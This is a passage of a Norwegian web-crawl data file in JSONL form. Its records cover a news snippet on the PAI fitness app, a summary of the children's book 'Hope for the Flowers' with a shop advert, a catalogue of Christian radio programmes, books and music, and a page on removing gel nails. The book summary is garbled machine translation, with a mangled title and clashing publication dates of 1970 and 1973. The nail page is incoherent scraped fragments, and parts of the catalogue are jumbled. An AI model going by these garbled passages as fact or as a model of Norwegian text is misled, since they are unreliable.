bygger p\u00e5 solid helseforskning. Vi har utviklet en algoritme, PAI \u2013 personlig aktivitets-intelligens, som baserer seg p\u00e5 Helseunders\u00f8kelsen i Nord-Tr\u00f8ndelag, sier CERG leder professor Ulrik Wisl\u00f8ff til Adresseavisen om den nye appen.\n\nWisl\u00f8ff mener appen kan revolusjonere m\u00e5ling av treningseffekt.\n\n\u2013 PAI-scoren tilpasser seg den enkelte brukerens livsstil og lager skreddersydde m\u00e5l som er realistisk \u00e5 n\u00e5. S\u00e5 lenge pulsen kommer opp i en viss sone for en viss periode, vil brukeren oppn\u00e5 maksimal helseeffekt, sier Wisl\u00f8ff til avisa.\n\n", "language": "no", "__index_level_0__": "9ca085d6-e878-4d29-92dd-e4d46350913a"}
{"url": "http://dobing.info/12/2010/01/historie-hap-for-blomster-.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00301.warc.gz", "warc_date": "2018-03-24T23:46:33Z", "text": "# historie \"h\u00e5p for blomster '\n\n  \n\"H\u00e5p for Flowers\" er en allegorisk barnebok med Trina Paulus om et par sommerfugllarver som forvandle monark sommerfugler. Boken har vist seg inspirerende og har blitt publisert over hele verden siden sin f\u00f8rste utgivelse i 1970\n\n## The Story\n\nI \"Hope for Flowers,\u00ab larvene Stripe og gul fors\u00f8ke \u00e5 klatre en haug med larver som kalles en \"larve pilar. \"Snart innser de at de bare kan stige ved \u00e5 danne kokonger og snu i sommerfugler.\n\n## Origins\n\nI f\u00f8lge Paulus &\\#039eget nettsted, kom hun opp med ideen om sommerfugler som symboler for livet endres n\u00e5r en venn behandlet d\u00f8dsfallet av en du er glad. Paulus trakk en larve forvandle seg til en sommerfugl p\u00e5 et kort for \u00e5 markere at livet ikke slutten, men endringer.\n\n## Inspirasjon\n\nDen urolige 1960-tallet viste seg ytterligere inspirasjon for Paulus, som forkastet tids revolusjonerende sentiments . stedet brukte hun symbolet p\u00e5 sommerfuglen som en oppfordring til naturlige endringer stedet for \u00f8deleggelse av gamle m\u00e5ter.\n\n## Release\n\n\"Hope for Flowers\" debuterte i 1973 og ble oversatt til ulike spr\u00e5k for publisering over hele verden, effektivt som viser kraften i Paulus 'lignelse.\n\n## Film\n\nI 2007, Paulus, som raser sommerfugler i sitt eget hjem, skrev et manus basert p\u00e5 hennes bok med den hensikt \u00e5 s\u00f8ke finansiering og animat\u00f8rer \u00e5 lage en filmversjon.\n\n> P\u00e5 Dobing.info gj\u00f8r du alltid et godt valg n\u00e5r du kj\u00f8per en hobby / dekorasjon. Vi har et stort utvalg av h\u00f8ykvalitets produkter. Vi har 1514 stk ulike hobby-materialer fra merker som Efco og avec, American Craft, SEI, MosaixSoft, MosaixPro, Mosaix og MosaixPur. Blant annet knapper, plast figurer, mosaikker, wire stjerner med perler og tekstilvarer\\!\n", "language": "no", "__index_level_0__": "72b32c98-8fd4-402c-96b2-9aaf9181e223"}
{"url": "http://docplayer.me/240070-Butikk-produktkatalogen-2012-13.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00111.warc.gz", "warc_date": "2018-03-25T00:12:43Z", "text": "2 Vindu mot Livet Serier med den popul\u00e6re radioprogramserien Vindu mot Livet med radiopastor Johnn R. Hardang, hvor Bibelen blir formidlet p\u00e5 en enkel og levende m\u00e5te og det er lett \u00e5 kjenne seg igjen i andaktene , 1005, 1006, 1007, 1038, 1040 og og 1012 B\u00e6r hverandres Byrder (12 programmer) - serien fokuserer p\u00e5 ulike m\u00e5ter \u00e5 ha omsorg for hverandre p\u00e5. Hovedpersonen i en del av programmene er Barnabas. Ellers handler serien om tema som tjeneste, forb\u00f8nn og utbrenthet. Pris: 240,- Den Hellige \u00c5nd og vi (12 programmer) - Jeg tror p\u00e5 Den Hellige \u00c5nd\\! Slik m\u00f8ter vi ordene i den apostoliske trosbekjennelsen. Men hva inneb\u00e6rer det \u00e5 ta imot Den Hellige \u00c5nd? Programserien vil gi svar p\u00e5 dette sp\u00f8rsm\u00e5let. Pris: 240,- Elisa, Safats s\u00f8nn (12 programmer) - Elisa var eldste s\u00f8nnen til g\u00e5rdbrukeren Safat, og skulle overta farsg\u00e5rden. Men Gud ville det annerledes. En dag ble en kallskappe lagt over guttens skuldrer. Han skulle v\u00e6re profet i Israel\\! Pris: 240,- Emmausveien (12 programmer) - Jesus gikk en dag sammen med to disipler fra Jerusalem til Emmaus, og viste dem hvordan hans d\u00f8d og oppstandelse var forutsagt i GT. Ut ifra disse gamle skriftene viste han dem at Han er Guds Messias. Pris: 240,- Forventning (18 programmer) - Serien har tilknutning til s\u00f8ndagstekstene og tar utgangspunkt i Jesu forkynnelse slik vi m\u00f8ter den i de fire evangeliene. Hele vegen handler det om hva det konkret inneb\u00e6rer \u00e5 f\u00f8lge Jesus i hverdagen. Pris: 360,- Fra Bibelens skattekiste - del 1 til 7 (84 programmer fordelt p\u00e5 7 cover) - \u00c5 lese i Bibelen er som \u00e5 g\u00e5 p\u00e5 skattejakt, p\u00e5 leiting etter evighetsverdier. Siktem\u00e5let med programmene er \u00e5 l\u00f8fte fram den ufattelige rikdommen Gud har gitt oss i Jesus Pris pr del: 240,- Fra Guds bildebok - del 1 (12 programmer) - Bibelen er kalt for Bildeboken for Guds familie. B\u00e5de i GT og NT vrimler det av forskjellige bilder, og i denne programserien f\u00e5r du m\u00f8te 12 slike bilder/historier tilknyttet stedet Sikem eller Sykar. Pris: 240,- Fra Guds bildebok - del 2 (12 programmer) - De f\u00f8rste seks programmene er kalt Ved tornebusken, og tar fram viktige ting som fant sted i n\u00e6rheten av en tornebusk. De siste seks har tittelen Guds bekk er full av vann, og viser hvordan dette er tilgjengelig for oss. Pris: 240,- Fra trelldom til frihet (12 programmer) - Vi f\u00f8lger Israelsfolket p\u00e5 den f\u00f8rste del av \u00f8rkenvandringen, gjennom medgang og motgang, seier og nederlag fra Egypt til Sinai, 2. Mos Hva kan vi l\u00e6re av dette, vi som er kristne i dag? Pris: 240,- Fredstanker (18 programmer) - Serien har tilknutning til s\u00f8ndagstekstene og tar utgangspunkt i Jesu forkynnelse i de fire evangeliene. Hele veien handler det om hva det inneb\u00e6rer \u00e5 f\u00f8lge Jesus og \u00e5 leve med han i hverdagen Pris: 360,- Gled deg 1 og 2 (33 programmer fordelt p\u00e5 2 cover) - Programserien Gled deg er en gjennomgang av Filipperbrevet, Bibelens store gledesbrev. Hovedtemaet er den kristne glede, og siktem\u00e5let er \u00e5 gi en enkel veiledning til et liv fylt av glede. Pris: del 1: 360,- Pris del 2: 300,- Gledens ambassad\u00f8rer (12 programmer) - Programserien tar utgangspunkt i portretter fra Apgj., og du m\u00f8ter en del av de personene Gud brukte for \u00e5 spre evangeliet i den f\u00f8rste kristne tid. Dette har mye \u00e5 l\u00e6re oss om det \u00e5 tjene Herren med glede\\! Pris: 240,- Gode nyheter (12 programmer) - G\u00e5 ut i all verden og forkynn evangeliet for hele skapningen. Ordet evangelium betyr gode nyheter. Og dette er i sum hva Bibelen fortsatt har \u00e5 formidle til dagens mennesker. Serien tar utgangspunkt i s\u00f8ndagstekstene. Pris: 240,- Guds lam (12 p\u00e5skeprogrammer) - Programserien tar fram en del av det som skjedde med Jesus, fra Palmes\u00f8ndag til etter hans oppstandelse. Se der Guds Lam som b\u00e6rer verdens synd\\! Slik ble det sagt om Jesus, og slik vil du f\u00e5 h\u00f8re det her. Pris: 240,- Hans navn skal kalles Jesus (9 juleprogrammer) - De viktigste profetiene i GT om Kristi f\u00f8dsel blir l\u00f8ftet fram. Du vil ellers m\u00f8te de kjente julefortellingene, og bli kjent med to amerikanske sangforfattere: Philip Paul Bliss og Daniel Webster Whittle. Pris: 150,- I Paulus fotspor (12 programmer) - Det var under Paulus andre misjonsreise at evangeliet for f\u00f8rste gang ble forkynt i Europa. Vi blir med Paulus p\u00e5 hans f\u00f8rste tur dit, slik Apgj forteller om det. En b\u00e5de spennende og utfordrende reise. Pris: 240,- Ingen som Gud (12 programmer) - Dette er en programserie om Moses, hvor vi m\u00f8ter ham i mange forskjellige situasjoner. Hva kan vi l\u00e6re av Moses, vi som lever med Gud og vil tjene Ham i dag? Pris: 240,- Mulighetenes Gud (18 programmer) - Serien l\u00f8fter fram mulighetenes Gud. Siktem\u00e5let er \u00e5 peke p\u00e5 de mulighetene som \u00e5pner seg for dem som vil leve med Gud. Sentrale tema er Bibelen og Jesus, troen og b\u00f8nnen, tjenesten og n\u00e5degavene. Pris: 360,- M\u00f8rket og morgenr\u00f8den (42 programmer fordelt p\u00e5 3 cover) - Her blir du tatt med gjennom hele Jesu lidelseshistorie. Det begynner med Messiasprofetiene i GT, og ender med den triumferende Kristus i Johnannes \u00c5penbaring Pris: del 1: 360,- del 2 og 3: 240,- Navnet over alle navn (12 s\u00f8ndagstekstprogrammer) - Navnet over alle navn er Jesus\\! Slik kan vi sammenfatte hele Bibelens budskap. Du f\u00e5r h\u00f8re mye om Jesus, b\u00e5de hvem han er og hva han har gjort for oss. Til styrke for dagen og til oppmuntring p\u00e5 livsreisen. Pris: 240,- Nistepakka (12 s\u00f8ndagstekstprogrammer) - Nistepakka er viktig for mange, b\u00e5de n\u00e5r de skal gjennomf\u00f8re en arbeidsdag og legge ut p\u00e5 reise. Nistepakka i Bibelen forteller oss om Guds omsorg og makt. Du husker den vesle gutten med fem br\u00f8d og to sm\u00e5 fisker? Pris: 240,- Ord fra korset (12 programmer) - De siste ordene som kommer fra et d\u00f8ende menneske betyr ofte noe spesielt. Slik var det ogs\u00e5 med Jesu siste ord. De lyser med en egen glans. Denne programserien er en gjennomgang av Jesu sju ord p\u00e5 korset. Pris: 240,- P\u00e5 festreise (12 programmer) - Serien tar utgangspunkt i en gruppe p\u00e5 15 salmer fra Salmenes bok i Bibelen som Israels folk sang p\u00e5 vei til og fra de store h\u00f8ytidene i Jerusalem. Disse salmene gir et flott bilde av hva det betyr \u00e5 leve som kristen i verden. Pris: 240,- Perler fra Salmenes bok (12 programmer) - Salmenes bok er den mest leste boken i GT. Likevel er det mange som ikke vet at denne boken egentlig best\u00e5r av fem salmeb\u00f8ker. Serien tar utgangspunkt i den f\u00f8rste av disse, og her f\u00e5r du virkelig m\u00f8ter perler... Pris: 240,- Profeten Elias (12 programmer) - Profeten Elias er en av de st\u00f8rste profetene i Israel. Landet hadde lenge v\u00e6rt preget av vanstyre og avgudsdyrkelse, og verst var det p\u00e5 kong Akabs tid. Det var da profeten Elias sto fram. I denne serien m\u00f8ter vi h\u00f8ydepunktene i hans liv. Pris: 240, , 1020 og Vindu mot Livet\n\n\n\n - Det er mye snakk om steiner i Bibelen.\")\n\n4 B\u00f8ker 3001 Forventning (Johnn R. Hardang) - En kristen oppbyggelsesbok som kan leses av b\u00e5de kristne mennesker og andre som er mer sp\u00f8rrende til dette med kristen tro. Det blir l\u00f8ftet fram hva det konkret inneb\u00e6rer \u00e5 f\u00f8lge Jesus i hverdagen. Viktige sp\u00f8rsm\u00e5l f\u00e5r riktige svar. Pris: 98, B\u00f8ker Dette skal du vite (Jon Aurebekk) - N\u00e5r Jon Aurebekk tar oss med inn i Bibelens rike verden, er det som n\u00e5r en kjentmann viser en gruppe interesserte omkring i naturen. Boka er delt inn i to hoveddelser, hvorav den f\u00f8rste retter seg spesielt til ufrelste, mens den siste retter seg til dem som allerede er Guds barn. Boka egner seg godt til evangelisering. Pris: 50, Lyset fra Golgata (Johnn R. Hardang) - Bak de fleste sangtekster ligger det en historie. \u00c5 bli kjent med en sangens bakgrunn kan gj\u00f8re sangteksten helt ny. I denne boken f\u00e5r du h\u00f8re historien bak 20 ulike sanger. Du f\u00e5r presentert selve teksten, du f\u00e5r glimt fra forfatternes livshistorie og bakgrunnen for at nettopp denne sangen ble skrevet. Pris: 248, Hovedlinjer i Skriften med kart (Jon Aurebekk) - Boken kom ut i 1979, det samme \u00e5ret som forfatteren ble hentet hjem til Herren. Aurebekk forkynte evangeliet ved \u00e5 peke p\u00e5 og understreke Skriftens ord. Det var hans st\u00f8rste lyst i alle \u00e5r som forkynner. Boken presenterer et sammendrag av hans livsverk - Hovedlinjer i Skriften - med en kartillustrasjon tegnet av Einar Berg. Pris: 50, B\u00f8ker 3022 O Store Gud (Johnn R. Hardang) - I denne boken f\u00e5r du historien bak 30 kristne sanger, blant annet O Store Gud, Blott en dag, Ren og Rettferdig, Jeg er i Herrens hender, m.fl. Du f\u00e5r noen glimt fra forfatterne og deres virksomhet, og f\u00e5r h\u00f8re om ulike opplevelser i m\u00f8te med disse sangene. Pris: 285,- Veien (Johnn R. Hardang) - Veien er et gammelt navn, som b\u00e5de ble brukt om de kristne og om den kristne tro. Men det er mer enn et gammelt navn. \u00c5 leve som kristen i dag, er \u00e5 g\u00e5 veien\\! Boken tar fram de grunnleggende ting ved den kristne tro. Pris: 148,- V\u00e5g Livet (Johnn R. Hardang) - Dette heftet tar opp tre aktuelle utfordringer: V\u00e5g \u00e5 tro, V\u00e5g \u00e5 bekjenne og V\u00e5g \u00e5 leve nytt. P\u00e5 en klar og illustrerende m\u00e5te tar forfatteren opp sentrale sp\u00f8rsm\u00e5l om hva det vil si \u00e5 bli og v\u00e6re en kristen. Det er utarbeidet eget studieopplegg bak i heftet. Pris: 35,- Den store hemmeligheten (Arne Helseth-Dyrseth) - Bokens hovedemne er Bibelens l\u00e6re om Guds menighet, dvs alle gjenf\u00f8dte mennesker. Den gir veiledning i mange viktige sp\u00f8rsm\u00e5l, og gir sunn bibelsk veiledning p\u00e5 omr\u00e5der som er av helt avgj\u00f8rende betydning for en kristens liv og tjeneste. Boken l\u00f8fter fram det kristne h\u00e5p p\u00e5 en flott m\u00e5te. Pris: 50, Kjenner du tiden? (Jon Aurebekk) - Streiflys over Guds plan med Israels folk og med menigheten. Et sammendrag av de emnene som opptok forfatteren ved flere av bibelkursene han deltok p\u00e5 som bibell\u00e6rer. Emner som omhandles i boken er blan annet Guds plan med det j\u00f8diske folk, forholdet j\u00f8dedom - kristendom og Den Hellige \u00c5nds liv og virke. Pris: 75,- Musikk Eg s\u00e5g ein Kristi pilgrim (Ole Abel Sveen) - Musikk cd som inneholder 14 sanger som ble innspilt i Kristiansand, og utgitt p\u00e5 kassett av Lynor AS i En av Ole Abels kjenningsmelodier er nettopp sangen: Eg s\u00e5g ein Kristi pilgrim. Produsent i 2008 er P7. Ole Abel Sveen har hatt flere stillinger i Indremisjonsforbundet, og er en h\u00f8yt skattet sanger og musiker. Pris: 120,- Frelst av n\u00e5de (Gunnvor Krogen Stokka) - Musikk cd som inneholder 13 sanger med Gunnvor Krogen Stokka som vokalist. Sangene har gode \u00e5ndelige tekster med behagelig countrystil musikk. Frelst av n\u00e5de, Skj\u00f8nne landet, Her fra mitt Sion, Himmelporten, Hvor deilig det er \u00e5 m\u00f8te, Du evige Frelser, I Meisterens armer og Jeg reiser av n\u00e5de er noen av sangene p\u00e5 cden. Pris: 200,- Gud valgte bo i meg (Juniorgruppa) - Musikk cd som inneholder 12 sanger med barnekoret Juniorgruppa tilknyttet Riska Misjonsforsamling utenfor Stavanger. Mitt skyldbrev, Snart reiser vi, Gud valgte bo i meg, Her skal du f\u00e5 h\u00f8yra, Tenk at min Jesus og G\u00e5 ikkje bort i fr\u00e5 Jesus er noen av sangene. Koret ledes av dirigent Mette Frafjord. Pris: 150, S\u00e5 meget mere (Arne Helseth-Dyrseth) - Uttrykket S\u00e5 meget mere.. finner vi tre ganger i Romerbrevet 5. Det er brukt i forbindelse med Kristi komme og v\u00e5r frelse fra vreden. Det er brukt i forbindelse med v\u00e5r daglige frelse under v\u00e5r vandring som troende, og til sist i forbindelse med Kristus som den siste Adam. Pris: 25, Hjemlandet (Gunnvor Krogen Stokka) - Musikk cd som kom ut i mai 2007 og inneholder 12 sanger av Gunnvor Krogen Stokka med variert og rolig musikk. Er du en av dem som liker den enkle og oppbyggende sangen om Jesus er dette cden for deg. Inneholder bl.a. sangene O, Herre, la meg p\u00e5 din h\u00f8stmark v\u00e6re, O, jeg kjenner til et sted, Herre, gj\u00f8r det stille og Ved Jesu f\u00f8ter. Pris: 175, Radiob\u00f8lger uten grenser (Asle Hetlebakke i samtale med \u00c5ge Nevland) - Julen 1906 ble det aller f\u00f8rste radioprogrammet kringkastet. Radio ble ganske snart tatt i bruk for \u00e5 forkynne Guds budskap til menneskene. Der misjon\u00e6ren m\u00f8tte stengte grenser, n\u00e5dde radiob\u00f8lgene gjennom. I denn boken forteller \u00c5ge Nevland om radiomisjonen og det kristne mediearbeidet. Pris: 248, Ingen glemt (Kathrine og Per Tveten) - En varm og fin innspilling, som inneholder 10 sanger med sterke tekster, tydelig tekstuttale og velgj\u00f8rende musikk. Flott \u00e5 lytte til - og flott \u00e5 gi videre som gave. Inneholder blant annet sangene Ingen glemt, Hva gj\u00f8r du n\u00e5, Ingen som du og Deg vil jeg f\u00f8lge som Per Tveten selv har skrevet tekst og melodi til. Pris: 150, Frelse for alle (Carsten Line) - Dette heftet inneholder 8 prekener som Carsten Line holdt i Albert Lundes forsamling i Oslo h\u00f8sten 1944 og som ble stenografisk opptatt. Forfatteren skriver i forordet at flere har f\u00e5tt godt av disse, og at han derfor utgav dette heftet. Han h\u00e5per og \u00f8nsker at lesningen m\u00e5 bringe mennesker til frelse og frelsesvisshet. Pris: 25, Kom ta min hand (Rett kurs) - Musikk cd som inneholder 14 sanger, hvor flere av tekstene og melodiene er skrevet av medlemmer i gruppen Rett kurs som best\u00e5r av sju sangere og musikere. Gruppen fra S\u00f8rlandet har sunget i mange \u00e5r, og har et tydelig og sentralt kristent budskap, formidlet i en typisk Country Gospel stil. Pris: 200, De to altere (Gustav Nielssen) - I flere \u00e5r har De to altere - Kains og Abels - hatt min store interesse, fordi Gud ved disse altere har lagt fram de grunnleggende sannheter for v\u00e5r tro. De danner utgangspunktet for den seinere utvikling. Et studium av disse to altere har derfor for meg hatt den st\u00f8rste betydning, skriver Gustav Nielsen i forordet til dette lille heftet. Pris: 30, Min sang om Jesus (Even Ydsteb\u00f8) - Musikk cd med 12 sanger. Even fra Kvits\u00f8y i Rogaland var 13 \u00e5r da han spilte inn denne cd en. Hele familien liker evangelisk sang, og Even ble tidlig glad i \u00e5 synge om Jesus. Sammen med far Edvin og bror Eivind p\u00e5 piano har Even siden han var 8 \u00e5r sunget p\u00e5 forskjellige m\u00f8ter og stevner, og \u00f8nsker \u00e5 vitne om Jesus gjennom sangen. Pris: 120,- 7\n\n\n\n5 Musikk S\u00e5 mange grunner for \u00e5 elske Jesus (Flekker\u00f8y Sangkammerater) - Flekker\u00f8y Sangkamerater er et mannskor med medlemmer fra Flekker\u00f8y og V\u00e5gsbygd. Dette er den tredje cden koret gir ut. Koret ble startet 15. mai 2000, og synger evangeliet med trekkspill, gitar og el. bass som standard 2003 besetning. Cd en inneholder 14 flotte sanger. Pris: 180, Ser du hyrden (Johnn R. Hardang) - Radiopastor Johnn Hardang har spilt inn sin f\u00f8rste cd, med 14 kristne sanger til enkelt gitar-akkompagnement. Cden har sentrale tekster, tydelig norsk tekstuttale og ikke for mye musikk. Den inneholder noen folketoner, samt en rekke perler fra den evangeliske sangskatten. Pris: 100,- Igjennom alt (Sevlandsjentene) - Han som f\u00f8rte Israelsfolket gjennom havet, han \u00f8nsker ogs\u00e5 \u00e5 f\u00f8re og lede deg gjennom livet inn til v\u00e5rt m\u00e5l - Himmelen. Ogs\u00e5 deg har han utvalgt. Slipp Jesus inn i ditt liv og ditt hjerte\\! Dette skriver Margunn, \u00c5se og Siv Marit som utgj\u00f8r Sevelandsjentene i coveret til denne cden som inneholder 14 flotte kristne sanger. Pris: 150,- SANGER VI ALDRI GLEMMER Radioprogramserien Sanger vi aldri glemmer med radiopastor Johnn R. Hardang handler om en rekke kjente sanger og salmer, sammen med historien som ligger bak disse sangene. Serien er blitt veldig popul\u00e6r, og blir sendt p\u00e5 en rekke lokalradiostasjoner rundt omkring i Norge. Du kan f\u00e5 kj\u00f8pt alle disse programmene p\u00e5 CD hos oss. Sanger vi aldri glemmer (20 programmer inkl. musikk cden Ser du hyrden) - I dette coveret har vi samlet 20 programmer i denne serien, hvor du f\u00e5r m\u00f8te en rekke kjente sanger og salmer, sammen med historien som ligger bak disse sangene. Den ville sauen, Det er vel med min sjel, Doggdr\u00e5pen, S\u00e5 helt forl\u00e5ter Gud og Herligste navn er noen av sangene det handler om. Inkludert i dette coveret f\u00e5r du ogs\u00e5 Johnn R. Hardangs egen musikk cd - Ser du hyrden. Pris: 390,- god s\u00f8ndag Siden 6. september 2009 har P7 levert det kristne TV-programmet God S\u00f8ndag til Frikanalen. 15. mai 2011 begynte vi ogs\u00e5 \u00e5 sende dette programmet p\u00e5 Kanal 10 Norge. Dette er et ukentlig timelangt program, med opptak fra bibelundervisning, evangeliske m\u00f8ter og sang- og musikkarrangement, b\u00e5de fra Bedehusland og ulike typer Fellesm\u00f8ter. Bibelen - Guds mesterverk (Johnn R. Hardang - 2 programmer) - I 2011 feiret Bladet Evangelisten sitt 100-\u00e5rs jubileum. Dette ble markert p\u00e5 Evangelistens Bibelkonferanse p\u00e5 Framnes, og dette samlecoveret inneholder 2 bibeltimer som Johnn Hardang hadde p\u00e5 denne konferansen. Temaet 9010 han talte over var Bibelen - Guds mesterverk. Pris: 200, Den f\u00f8rste oppstandelsen (Johnn R. Hardang - 3 programmer) - DVD pakke som inneholder bibelundervisning og m\u00f8teopptak fra Evangelistens bibelkonferanse p\u00e5 Framnes i Bibelundervisningen gir en innf\u00f8ring i det bibelske budskapet om oppstandelsen, b\u00e5de Kristi oppstandelse og h\u00e5pet om en oppstandelse for den som tror p\u00e5 Jesus. Pris: 300,- De to basunene (Johnn R. Hardang - 2 programmer) - P\u00e5 en todelt bibelkveld i Bedehuset Saron p\u00e5 Bryne den 24. februar 2011 talte Johnn R. Hardang over temaet De to basunene, med utgangspunkt i 4. Mosebok 10,1-10. Den f\u00f8rste basun handler om forkynnelsen av Guds Ord. Den siste basun har med sannheten om Jesu gjenkomst \u00e5 gj\u00f8re. Pris: 200,- Evangeliske sanger p\u00e5 Sunnm\u00f8re (Johnn R. Hardang - 5 programmer) - Helga september 2011 ble Evangeliske sanger p\u00e5 Sunnm\u00f8re arrangert for fjerde gang. L\u00f8rdag var det et stort sang- og musikkm\u00f8te i Giskehallen, der ca 1000 mennesker var tilstede. I tillegg til dette ble det denne helga arrangert bibeltimer og evangeliske m\u00f8ter med Johnn R. Hardang p\u00e5 Valder\u00f8y bedehus. Pris: 500,- F\u00f8lg meg (Johnn R. Hardang - 3 programmer) september 2010 arrangerte Holy Riders avd. Sydvest m\u00f8tehelg i egne klubblokaler p\u00e5 Orstad Bedehus, Klepp p\u00e5 J\u00e6ren. M\u00f8tehelga bestod av m\u00f8ter og bedehusbasar til inntekt for trykking av Biker Bibelen. Hovedtaler var Johnn R. Hardang, og temaet var F\u00f8lg meg med utgangspunkt i Jesu Bergpreken, Matt 5-7. Pris: 300,- Gi det videre (Johnn R. Hardang - 4 programmer) - I juli 2011 ble det \u00e5rlige Bibelkurset arrangert p\u00e5 S\u00f8rlandet Folkeh\u00f8yskole p\u00e5 Birkeland. Johnn R. Hardang hadde ansvaret for fire av bibeltimene p\u00e5 dette kurset, og han talte over temaet: Gi det videre. Budskapet om Jesus m\u00e5 ikke stoppe opp hos dem som allerede tror, men gis videre til slike som enda ikke har h\u00f8rt og tatt imot. Pris: 400,- Guds menighet - Den store hemmeligheten (Johnn R. Hardang - 4 programmer) - I juli 2010 ble det \u00e5rlige bibelkurset arrangert p\u00e5 J\u00e6ren Folkeh\u00f8yskole p\u00e5 Klepp i Rogaland. Johnn R. Hardang hadde ansvaret for fire av bibeltimene og talte over temaene: Guds menighet - det tredje folket, et himmelsk folk, \u00c5ndens tempel og Jesu gjenkomst. Pris: 400,- Hans navn... (Per Tveten - 2 programmer) - I november 2011 bes\u00f8kte Per Tveten bedehuset Saron p\u00e5 Bryne. Per Tveten er ansatt som forkynner i NLM, og deltar i disse to programmene med b\u00e5de sang og tale. I begge de to programmene er det Guds navn som st\u00e5r i sentrum: Jeg vil prise ditt navn (Jes 25,1) og Ditt navn er en utgytt salve (H\u00f8ys 1,3). Pris: 200,- Hovedsaken (Johnn R. Hardang - 4 programmer) - I tida august 2010 var Johnn R. Hardang hovedtaler p\u00e5 en bibelhelg i Alleen Bedehus i Lyngdal. Utgangspunktet for de fire bibeltimene var Hebr. 8,1-6 og sp\u00f8rsm\u00e5let: Hva er hovedsaken i Bibelen? Og svaret er f\u00f8lgende: Budskapet om Jesus. Men hva er hovedsaken i budskapet om Jesus...? Pris: 400,- I profetisk lys (Charles Hansen - 5 programmer) - I juni 2009 bes\u00f8kte Charles Hansen Aa Bedehus i Lyngdal p\u00e5 et arrangement som ble kalt: Profetisk uke. Charles Hansen er forstander i en pinsemenighet i Halden, og reisesekret\u00e6r i Ordet og Israel. I disse fem programmene gir han en innf\u00f8ring i temaene: Menigheten, Templet, Antikrist, Israel og Guds rike - alt i profetisk lys. Pris: 500,- Jesus mitt liv (Klaus Muff - 2 programmer) - Klaus Muff, bosatt p\u00e5 Karm\u00f8y, har i en \u00e5rrekke v\u00e6rt ansatt som evangelist i NMS, men er n\u00e5 pensjonist. Han er likevel i full aktivitet, og i april 2011 hadde han ansvaret for en bibelkveld p\u00e5 Bedehuset Saron p\u00e5 Brynet. Du vil f\u00e5 h\u00f8re enkel og frigj\u00f8rende forkynnelse og utgangspunktet for de to bibeltimene er Rom 8,1-9. Pris: 200,- Kristen i endetiden (Johnn R. Hardang - 5 programmer) - Riska Bedehus i Sandnes arrangerte sine \u00e5rlige nytt\u00e5rsm\u00f8ter i Januar Hovedtaler dette \u00e5ret var Johnn R. Hardang, som hadde ansvaret for 5 m\u00f8ter og bibeltimer. Han tok utgangspunkt i 2. Timoteus brev, hvor Paulus ber Timoteus om \u00e5 forberede seg p\u00e5 \u00e5 m\u00f8te vanskelige tider. Pris: 500,- Tr\u00e6r i Bibelen (Johnn R. Hardang - 5 programmer) - Helga august 2011 ble det arrangert P7 helg p\u00e5 Vigrestad Misjonshus p\u00e5 J\u00e6ren. Arrangementet var lagt opp med 5 bibelsamlinger fordelt p\u00e5 tre dager, og temaet for alle samlingene var tr\u00e6r som er omtalt i Bibelen. Siktem\u00e5let var \u00e5 ta fram noen av disse tr\u00e6rne, ett tre i hver bibelsamling. Pris: 500,- Etter p\u00e5skemorgen (Johnn R. Hardang - 4 programmer) - Helga april 2012 ble det arrangert Vekter\\! Hvor langt p\u00e5 natt? (Johnn R. Hardang - 4 programer) - Helga januar 2012 arrangerte bedehusene p\u00e5 Brusand, Ogna og Sirev\u00e5g felles bibelhelg der det ut fra Bibelen ble satt P7-helg p\u00e5 Kvits\u00f8y Bedehus i Rogaland. Tema for de fire bibeltimene var det som skjedde i tiden mellom Kristi oppstandelse og Kristi Himmelfartsdag, f\u00f8rti dager da Jesus var opptatt med en eneste s\u00f8kelys p\u00e5 tiden fram imot Jesu gjenkomst. I fire bibeltimer ble f\u00f8lgende tema belyst: S\u00f8vnens tid, 9020 ting: \u00c5 ta seg av sine fallende og feilende venner. Sang av Marit Hauge og Johnn R. Hardang. Pris: 400, Endetidstegnene, N\u00f8kler til Johannes \u00c5penbaring og V\u00e5kn opp du som sover. Pris: 400,\n\n\n\n### Den hellige messe. I den hellige messe vil vi: tilbe Gud, lovprise Gud, takke Gud for alle hans velgjerninger, sone for v\u00e5re synder.\n\n Matt 16,13-20. 6. s\u00f8ndag i treenighetstiden 2015 Jeremia ble kalt til profet. Han var ung. Han var redd. Han ville trekke seg, men Gud visste hva han gjorde. Det var Jeremia han ville bruke. I dag m\u00f8tes\n", "language": "no", "__index_level_0__": "8800e59b-f2f5-477e-88a8-37ff82140d74"}
{"url": "http://energo-perm.ru/fjerne-gelenegler/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00630.warc.gz", "warc_date": "2018-03-24T23:27:20Z", "text": "# Fjerne gelenegler\n\n** November 16, 2017 ** Kjell\n\nNoen spm ang gele-negler \u2013 Velv\u00e6re, hudpleie og kosmetikk. Gele eller akryl negler \u2013 Velv\u00e6re, hudpleie og kosmetikk. Forum \u203a Fellesforum \u203a AnonymforumBufretLignende15. Hatt de i over tre uker n\u00e5 og vil fjerne de sk\u00e5nsomt slik at jeg ikke. Jeg har hatt gelenegler flere ganger og hver gang har mine egne negler\u00a0. Grunnen til slitasje p\u00e5 neglene dine kan ogs\u00e5 v\u00e6re m\u00e5ten gel\u00e8neglene blir fjernet p\u00e5. Ved \u00e5 ha kunstige negler over lengre ti\u00a0. Buff lett over neglen med en buffer for \u00e5 fjerne overflateglansen og den naturlige oljen p\u00e5 neglens\u00a0. Buff lett over neglen med en buffer for \u00e5 fjerne overflateglansen og den naturlige oljen p\u00e5 neglens overflate.\n\nMan skal ikke file bort noe av neglens overflate, men\u00a0. Men med gelenegler s\u00e5 kan jeg gj\u00f8re hva som helst uten at det gj\u00f8r. Gel negler er holdbare, malt p\u00e5 neglene som tett ligner ekte negler. De fleste g\u00e5r til salongen for \u00e5 f\u00e5 dem fjernet av en profesjonell, men du kan\u00a0. Om du vil fjerne dine akrylnegler hjemme f\u00f8r negletimen gj\u00f8r du det bare.\n\n", "language": "no", "__index_level_0__": "80fc74b8-4474-4d0e-89fb-d77f5e5d5936"}
